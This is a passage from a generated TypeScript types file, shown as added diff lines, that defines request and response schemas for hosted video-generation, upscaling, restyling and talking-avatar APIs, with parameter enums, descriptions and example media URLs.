inputBytedanceSeedance25UsReferenceToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoBitrateModeEnum] + +export const inputBytedanceSeedance25UsReferenceToVideoTaskEnum = { + auto: 'auto', + reference: 'reference', + editing: 'editing', + extension: 'extension', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoTaskEnumKey = + (typeof inputBytedanceSeedance25UsReferenceToVideoTaskEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoTaskEnum] + +export const inputBytedanceSeedance25UsReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance25UsReferenceToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoAspectRatioEnum] + +export const inputBytedanceSeedance25UsReferenceToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', + '16': '16', + '17': '17', + '18': '18', + '19': '19', + '20': '20', + '21': '21', + '22': '22', + '23': '23', + '24': '24', + '25': '25', + '26': '26', + '27': '27', + '28': '28', + '29': '29', + '30': '30', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoDurationEnumKey = + (typeof inputBytedanceSeedance25UsReferenceToVideoDurationEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoDurationEnum] + +export const inputBytedanceSeedance25UsReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance25UsReferenceToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoResolutionEnum] + +export type InputBytedanceSeedance25UsReferenceToVideo = { + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance25UsReferenceToVideoCodecEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance25UsReferenceToVideoBitrateModeEnumKey + /** + * @description The type of video generation task. Reference uses the supplied media as guidance. Editing modifies a reference video and automatically coerces aspect_ratio and duration to auto. Extension continues a reference video and automatically coerces aspect_ratio to auto. Auto leaves the task type unset so the model decides it from the prompt and references. + * @default 'reference' + * @type string | undefined + */ + task?: InputBytedanceSeedance25UsReferenceToVideoTaskEnumKey + /** + * @description Reference videos to guide video generation. Refer to them in the prompt as @Video1, @Video2, etc. Supported formats: MP4, MOV. Up to 10 videos. Each video must be 1.8 to 30.2 seconds and no larger than 200 MB; combined duration must not exceed 30.2 seconds. Dimensions must be 300 to 6,000 pixels per side, aspect ratio 0.4 to 2.5, and frame rate 24 to 60 FPS. + * @type array | undefined + */ + video_urls?: string[] + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Generate a draft preview at 480p, overriding resolution. Returns a draft_id for completing the draft at 1080p within 7 days. + * @default false + * @type boolean | undefined + */ + draft?: boolean + /** + * @description Random seed for reproducibility. Note that results may still vary slightly even with the same seed. + */ + seed?: number | null + /** + * @description The text prompt used to generate the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + */ + prompt?: string | null + /** + * @description Reference audio to guide video generation. Refer to them in the prompt as @Audio1, @Audio2, etc. Supported formats: MP3, WAV. Up to 10 files. Each file must be 1.8 to 30.2 seconds and no larger than 15 MB; combined duration must not exceed 30.2 seconds. + * @type array | undefined + */ + audio_urls?: string[] + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance25UsReferenceToVideoAspectRatioEnumKey + /** + * @description Duration of the video in seconds. Supports 4 to 30 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance25UsReferenceToVideoDurationEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance25UsReferenceToVideoResolutionEnumKey + /** + * @description Reference images to guide video generation. Refer to them in the prompt as @Image1, @Image2, etc. Supported formats: JPG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB per image. Up to 30 images. Total files across all modalities must not exceed 50. + * @example ["https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg"] + * @type array | undefined + */ + image_urls?: string[] +} + +export type FileFb019614 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedance25UsReferenceToVideo = { + /** + * @description The draft ID, or null when draft mode is disabled. Complete this draft within 14 days (7 days for US drafts) using the same account. + */ + draft_id?: string | null + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileFb019614 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance25UsTextToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance25UsTextToVideoCodecEnumKey = + (typeof inputBytedanceSeedance25UsTextToVideoCodecEnum)[keyof typeof inputBytedanceSeedance25UsTextToVideoCodecEnum] + +export const inputBytedanceSeedance25UsTextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance25UsTextToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance25UsTextToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance25UsTextToVideoAspectRatioEnum] + +export const inputBytedanceSeedance25UsTextToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', + '16': '16', + '17': '17', + '18': '18', + '19': '19', + '20': '20', + '21': '21', + '22': '22', + '23': '23', + '24': '24', + '25': '25', + '26': '26', + '27': '27', + '28': '28', + '29': '29', + '30': '30', +} as const + +export type InputBytedanceSeedance25UsTextToVideoDurationEnumKey = + (typeof inputBytedanceSeedance25UsTextToVideoDurationEnum)[keyof typeof inputBytedanceSeedance25UsTextToVideoDurationEnum] + +export const inputBytedanceSeedance25UsTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputBytedanceSeedance25UsTextToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance25UsTextToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance25UsTextToVideoResolutionEnum] + +export const inputBytedanceSeedance25UsTextToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance25UsTextToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance25UsTextToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance25UsTextToVideoBitrateModeEnum] + +export type InputBytedanceSeedance25UsTextToVideo = { + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance25UsTextToVideoCodecEnumKey + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance25UsTextToVideoAspectRatioEnumKey + /** + * @description Generate a draft preview at 480p, overriding resolution. Returns a draft_id for completing the draft at 1080p within 7 days. + * @default false + * @type boolean | undefined + */ + draft?: boolean + /** + * @description The text prompt used to generate the video + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Duration of the video in seconds. Supports 4 to 30 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance25UsTextToVideoDurationEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance25UsTextToVideoResolutionEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance25UsTextToVideoBitrateModeEnumKey +} + +export type File72362B8A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedance25UsTextToVideo = { + /** + * @description The draft ID, or null when draft mode is disabled. Complete this draft within 14 days (7 days for US drafts) using the same account. + */ + draft_id?: string | null + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File72362B8A + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +/** + * @description Represents a video file. + * @type object + */ +export type Video8C592913 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description File data + */ + file_data?: Blob | null +} + +/** + * @description Pydantic model for receiving a video file to analyze and re-sound. + * @type object + */ +export type InputCassetteaiVideoSoundEffectsGenerator = { + /** + * @description A video file to analyze & re-sound with generated SFX. + * @example https://v3.fal.media/files/tiger/3NOa3BqrJfr3jJBMqGexs_final_with_sfx.mp4 + * @example https://v3.fal.media/files/rabbit/vkNtbcJ3x7KmzjJZeVWQe_final_with_sfx.mp4 + * @type object + */ + video_url: Video8C592913 +} + +export type FileE2610F32 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Pydantic model for returning the re-sounded video back to the client. + * @type object + */ +export type OutputCassetteaiVideoSoundEffectsGenerator = { + /** + * @description The final video with the newly generated SFX track. + * @example {"url":"https://v3.fal.media/files/tiger/3NOa3BqrJfr3jJBMqGexs_final_with_sfx.mp4"} + * @type object + */ + video: FileE2610F32 +} + +export type InputClarityaiCrystalVideoUpscaler = { + /** + * @description URL to the input video. + * @example https://storage.googleapis.com/falserverless/example_inputs/crystal_upscaler/video_upscaling/video_in.mp4 + * @type string + */ + video_url: string + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Scale factor. The scale factor must be chosen such that the upscaled video does not exceed 5K resolution. + * @minimum 1 + * @maximum 200 + * @default 2 + * @example 2 + * @type number | undefined + */ + scale_factor?: number +} + +export type OutputClarityaiCrystalVideoUpscaler = { + /** + * @description URL to the upscaled video + * @example {"content_type":"video/mp4","file_name":"w0VQQvPdwvV2GSCtRTMzh_hDH8SPrB.mp4","duration":13.056527,"num_frames":302,"width":4096,"fps":23.130193905817176,"height":2160,"url":"https://storage.googleapis.com/falserverless/example_outputs/crystal_upscaler/video_upscaling/video_out.mp4"} + * @type object + */ + video: VideoFile +} + +export const inputCreatifyBorealAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputCreatifyBorealAspectRatioEnumKey = + (typeof inputCreatifyBorealAspectRatioEnum)[keyof typeof inputCreatifyBorealAspectRatioEnum] + +export const inputCreatifyBorealResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '2k': '2k', +} as const + +export type InputCreatifyBorealResolutionEnumKey = + (typeof inputCreatifyBorealResolutionEnum)[keyof typeof inputCreatifyBorealResolutionEnum] + +export type InputCreatifyBoreal = { + /** + * @description Direction for the visuals, spoken dialogue, sounds, and on-screen text. Structure it with `[VISUAL]`, `[SPEECH]`, `[SOUNDS]`, and `[TEXT]` sections for best results. English is the validated language. + * @minLength 1 + * @maxLength 5000 + * @example [VISUAL] + * A cinematic product close-up of a sparkling-water can on wet black stone. + * Condensation rolls down the can as the camera makes a slow half-orbit. + * + * [SPEECH] + * "Clean flavor. Bright finish. Nothing extra." + * + * [SOUNDS] + * A crisp can opening, gentle fizz, and restrained electronic music. + * + * [TEXT] + * None. + * @type string + */ + prompt: string + /** + * @description Length of the generated video in seconds at 24 FPS, rounded by the model to the nearest legal frame count (5 s -> 121 frames, 10 s -> 241, 15 s -> 361). With `audio_url`, the first `duration` seconds of the audio are used; shorter audio is padded with silence. + * @minimum 1 + * @maximum 20 + * @default 10 + * @type number | undefined + */ + duration?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Add a visible `AI-generated` disclosure label to the video. Invisible C2PA metadata and watermarking are always applied. + * @default false + * @type boolean | undefined + */ + manifest_disclosure?: boolean + /** + * @description Optional reference image to animate. Guides identity, composition, and appearance; the output follows this image's aspect ratio. + * @example https://storage.googleapis.com/falserverless/example_inputs/creatify/aurora/input_.png + */ + image_url?: string | null + /** + * @description Frame ratio. `auto` follows the reference image's own ratio, and is landscape (16:9) when there is no image. A named ratio renders that ratio; with an image it centre-crops the image to it. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputCreatifyBorealAspectRatioEnumKey + /** + * @description Content or artifacts to avoid in the generated video. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Optional driving audio (narration, dialogue, or a soundtrack). When provided it is preserved in the output instead of generated speech. + * @example https://storage.googleapis.com/falserverless/example_inputs/creatify/aurora/input.wav + */ + audio_url?: string | null + /** + * @description Delivery tier. `2k` is 2016 px on the long edge for 16:9 and 9:16, and the 1440p row for 1:1, 4:3 and 3:4. + * @default '720p' + * @type string | undefined + */ + resolution?: InputCreatifyBorealResolutionEnumKey +} + +export type VideoFile030D241E = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputCreatifyBoreal = { + /** + * @description The generated video with synchronized native audio. + * @example {"content_type":"video/mp4","file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/creatify/aurora/output.mp4"} + * @type object + */ + video: VideoFile030D241E +} + +export type InputDecartLucy25Realtime = { + /** + * @description Reference image (data URI, JPEG/PNG/WebP, min 512x512) for character swap or virtual try-on. Optional for other capabilities. + * @default null + */ + reference_image_url?: string | null + /** + * @description Edit instruction. Drives every capability: add / replace / remove / background swap / style / VFX / change-attribute (prompt only), and character-swap / virtual-try-on (together with a reference image). + * @default null + * @example Change the background to a sunlit tropical beach. + */ + prompt?: string | null + /** + * @description Whether Decart should expand/enhance the prompt before applying it. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Live camera frame source (enables the webcam widget; unused in WebRTC mode). + * @default null + */ + image_url?: string | null + [key: string]: unknown +} + +export type OutputDecartLucy25Realtime = { + /** + * @default null + */ + iceServers?: object[] | null + /** + * @default null + */ + type?: string | null + /** + * @default null + */ + sdp?: string | null + /** + * @default null + * @type unknown | undefined + */ + error?: unknown + /** + * @default null + */ + candidate?: object | null +} + +export type InputDecartLucyRestyle = { + /** + * @description Resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' + /** + * @description Seed for video generation + */ + seed?: number | null + /** + * @description Whether to enhance the prompt for better results. + * @default true + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description + * If set to true, the function will wait for the video to be generated + * and uploaded before returning the response. This will increase the + * latency of the function but it allows you to get the video directly + * in the response without going through the CDN. + * + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the video to edit + * @example https://v3b.fal.media/files/b/0a86729a/wIXfP8RYCtKBQAV9HPs7o_output.mp4 + * @type string + */ + video_url: string + /** + * @description Text description of the desired video content + * @maxLength 1500 + * @example Make it psychedelic art style with trippy colors and patterns + * @type string + */ + prompt: string +} + +export type FileFba2D5Db = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputDecartLucyRestyle = { + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0a86d478/2JM2_bD0iJOmfcKHUEudv_generated_video.mp4"} + * @type object + */ + video: FileFba2D5Db +} + +/** + * @description Input model for the Lucy 2 RT signaling proxy. + * + * Uses extra="allow" so WebRTC signaling messages ({type: "offer", sdp: ...}) + * pass validation alongside application messages. The schema exposes prompt, + * image_url, and reference_image_url for playground form rendering. + * @type object + */ +export type InputDecartLucy2VtonRealtime = { + /** + * @description Reference image URL or data URI. When set, Lucy 2 will use this as a character reference for the transformation. + * @default https://v3b.fal.media/files/b/0a985506/y57_APcgGHlPxOOHIOqYO_15129.png + */ + reference_image_url?: string | null + /** + * @description Text prompt for the real-time transformation. + * @default 'Substitute the current top with the outfit from the reference image, matching its color, material, and fit' + * @type string | undefined + */ + prompt?: string + /** + * @description Image data URI or HTTP(S) URL for realtime frame input. Data URI format: data:image/;base64,... + * @default '' + * @type string | undefined + */ + image_url?: string + [key: string]: unknown +} + +export type OutputDecartLucy2VtonRealtime = { + [key: string]: unknown +} + +export const inputFalAiAiAvatarMultiResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiAiAvatarMultiResolutionEnumKey = + (typeof inputFalAiAiAvatarMultiResolutionEnum)[keyof typeof inputFalAiAiAvatarMultiResolutionEnum] + +export const inputFalAiAiAvatarMultiAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiAiAvatarMultiAccelerationEnumKey = + (typeof inputFalAiAiAvatarMultiAccelerationEnum)[keyof typeof inputFalAiAiAvatarMultiAccelerationEnum] + +export type InputFalAiAiAvatarMulti = { + /** + * @description The text prompt to guide video generation. + * @example A smiling man and woman wearing headphones sit in front of microphones, appearing to host a podcast. They are engaged in conversation, looking at each other and the camera as they speak. The scene captures a lively and collaborative podcasting session. + * @type string + */ + prompt: string + /** + * @description Number of frames to generate. Must be between 81 to 129 (inclusive). If the number of frames is greater than 81, the video will be generated with 1.25x more billing units. + * @minimum 41 + * @maximum 241 + * @default 181 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The URL of the Person 2 audio file. + * @example https://v3.fal.media/files/zebra/oVKyL8JZ1K2GreeIMxVzm_output.mp3 + */ + second_audio_url?: string | null + /** + * @description Whether to use only the first audio file. + * @default false + * @type boolean | undefined + */ + use_only_first_audio?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + * @minimum 0 + * @maximum 4294967295 + * @default 81 + * @type integer | undefined + */ + seed?: number + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3.fal.media/files/elephant/Q2ZU6q-d-1boGXhpDgWs9_15a22f816fd34cad969b2329946267b3.png + * @type string + */ + image_url: string + /** + * @description Resolution of the video to generate. Must be either 480p or 720p. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiAiAvatarMultiResolutionEnumKey + /** + * @description The URL of the Person 1 audio file. + * @example https://v3.fal.media/files/monkey/1XKPx3Xu-IhNLbuinVSwP_output.mp3 + * @type string + */ + first_audio_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use for generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiAiAvatarMultiAccelerationEnumKey +} + +export type File496A8E5A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiAiAvatarMulti = { + /** + * @description The generated video file. + * @example {"file_size":704757,"content_type":"application/octet-stream","file_name":"ab27ac57e9464dbea1ef78f7a25469d2.mp4","url":"https://v3.fal.media/files/kangaroo/uAF7N-Ow8WwuvbFw8J4Br_ab27ac57e9464dbea1ef78f7a25469d2.mp4"} + * @type object + */ + video: File496A8E5A + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiAiAvatarMultiTextAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiAiAvatarMultiTextAccelerationEnumKey = + (typeof inputFalAiAiAvatarMultiTextAccelerationEnum)[keyof typeof inputFalAiAiAvatarMultiTextAccelerationEnum] + +export const inputFalAiAiAvatarMultiTextVoice2Enum = { + Aria: 'Aria', + Roger: 'Roger', + Sarah: 'Sarah', + Laura: 'Laura', + Charlie: 'Charlie', + George: 'George', + Callum: 'Callum', + River: 'River', + Liam: 'Liam', + Charlotte: 'Charlotte', + Alice: 'Alice', + Matilda: 'Matilda', + Will: 'Will', + Jessica: 'Jessica', + Eric: 'Eric', + Chris: 'Chris', + Brian: 'Brian', + Daniel: 'Daniel', + Lily: 'Lily', + Bill: 'Bill', +} as const + +export type InputFalAiAiAvatarMultiTextVoice2EnumKey = + (typeof inputFalAiAiAvatarMultiTextVoice2Enum)[keyof typeof inputFalAiAiAvatarMultiTextVoice2Enum] + +export const inputFalAiAiAvatarMultiTextResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiAiAvatarMultiTextResolutionEnumKey = + (typeof inputFalAiAiAvatarMultiTextResolutionEnum)[keyof typeof inputFalAiAiAvatarMultiTextResolutionEnum] + +export const inputFalAiAiAvatarMultiTextVoice1Enum = { + Aria: 'Aria', + Roger: 'Roger', + Sarah: 'Sarah', + Laura: 'Laura', + Charlie: 'Charlie', + George: 'George', + Callum: 'Callum', + River: 'River', + Liam: 'Liam', + Charlotte: 'Charlotte', + Alice: 'Alice', + Matilda: 'Matilda', + Will: 'Will', + Jessica: 'Jessica', + Eric: 'Eric', + Chris: 'Chris', + Brian: 'Brian', + Daniel: 'Daniel', + Lily: 'Lily', + Bill: 'Bill', +} as const + +export type InputFalAiAiAvatarMultiTextVoice1EnumKey = + (typeof inputFalAiAiAvatarMultiTextVoice1Enum)[keyof typeof inputFalAiAiAvatarMultiTextVoice1Enum] + +export type InputFalAiAiAvatarMultiText = { + /** + * @description The acceleration level to use for generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiAiAvatarMultiTextAccelerationEnumKey + /** + * @description The text prompt to guide video generation. + * @example Two kids talking on a lunch. + * @type string + */ + prompt: string + /** + * @description The second person's voice to use for speech generation + * @default 'Roger' + * @type string | undefined + */ + voice2?: InputFalAiAiAvatarMultiTextVoice2EnumKey + /** + * @description Number of frames to generate. Must be between 81 to 129 (inclusive). If the number of frames is greater than 81, the video will be generated with 1.25x more billing units. + * @minimum 41 + * @maximum 241 + * @default 191 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3.fal.media/files/koala/vhkIF86hmgNTBll_lF1xI_3c7476642b19435aa763fe3b49cf99c7.png + * @type string + */ + image_url: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + * @minimum 0 + * @maximum 4294967295 + * @default 81 + * @type integer | undefined + */ + seed?: number + /** + * @description Resolution of the video to generate. Must be either 480p or 720p. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiAiAvatarMultiTextResolutionEnumKey + /** + * @description The text input to guide video generation. + * @example I dont know I am eating this because our mother gave it to us. I think it is something called milky pie. + * @type string + */ + second_text_input: string + /** + * @description The first person's voice to use for speech generation + * @default 'Sarah' + * @type string | undefined + */ + voice1?: InputFalAiAiAvatarMultiTextVoice1EnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text input to guide video generation. + * @example Do you know what are we eating? + * @type string + */ + first_text_input: string +} + +export type File2Afb3Efc = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiAiAvatarMultiText = { + /** + * @description The generated video file. + * @example {"file_size":352679,"content_type":"application/octet-stream","file_name":"30b76b90c2164f9a926527497c20832b.mp4","url":"https://v3.fal.media/files/zebra/lKMkUvzCqKn-gHC0vyUPP_30b76b90c2164f9a926527497c20832b.mp4"} + * @type object + */ + video: File2Afb3Efc + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiAiAvatarSingleTextResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiAiAvatarSingleTextResolutionEnumKey = + (typeof inputFalAiAiAvatarSingleTextResolutionEnum)[keyof typeof inputFalAiAiAvatarSingleTextResolutionEnum] + +export const inputFalAiAiAvatarSingleTextVoiceEnum = { + Aria: 'Aria', + Roger: 'Roger', + Sarah: 'Sarah', + Laura: 'Laura', + Charlie: 'Charlie', + George: 'George', + Callum: 'Callum', + River: 'River', + Liam: 'Liam', + Charlotte: 'Charlotte', + Alice: 'Alice', + Matilda: 'Matilda', + Will: 'Will', + Jessica: 'Jessica', + Eric: 'Eric', + Chris: 'Chris', + Brian: 'Brian', + Daniel: 'Daniel', + Lily: 'Lily', + Bill: 'Bill', +} as const + +export type InputFalAiAiAvatarSingleTextVoiceEnumKey = + (typeof inputFalAiAiAvatarSingleTextVoiceEnum)[keyof typeof inputFalAiAiAvatarSingleTextVoiceEnum] + +export const inputFalAiAiAvatarSingleTextAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiAiAvatarSingleTextAccelerationEnumKey = + (typeof inputFalAiAiAvatarSingleTextAccelerationEnum)[keyof typeof inputFalAiAiAvatarSingleTextAccelerationEnum] + +export type InputFalAiAiAvatarSingleText = { + /** + * @description The text prompt to guide video generation. + * @example An elderly man with a white beard and headphones records audio with a microphone. He appears engaged and expressive, suggesting a podcast or voiceover. + * @type string + */ + prompt: string + /** + * @description Number of frames to generate. Must be between 41 to 721. + * @minimum 41 + * @maximum 721 + * @default 145 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3.fal.media/files/panda/HuM21CXMf0q7OO2zbvwhV_c4533aada79a495b90e50e32dc9b83a8.png + * @type string + */ + image_url: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + * @minimum 0 + * @maximum 4294967295 + * @default 42 + * @type integer | undefined + */ + seed?: number + /** + * @description The text input to guide video generation. + * @example Spend more time with people who make you feel alive, and less with things that drain your soul. + * @type string + */ + text_input: string + /** + * @description Resolution of the video to generate. Must be either 480p or 720p. + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiAiAvatarSingleTextResolutionEnumKey + /** + * @description The voice to use for speech generation + * @example Bill + * @type string + */ + voice: 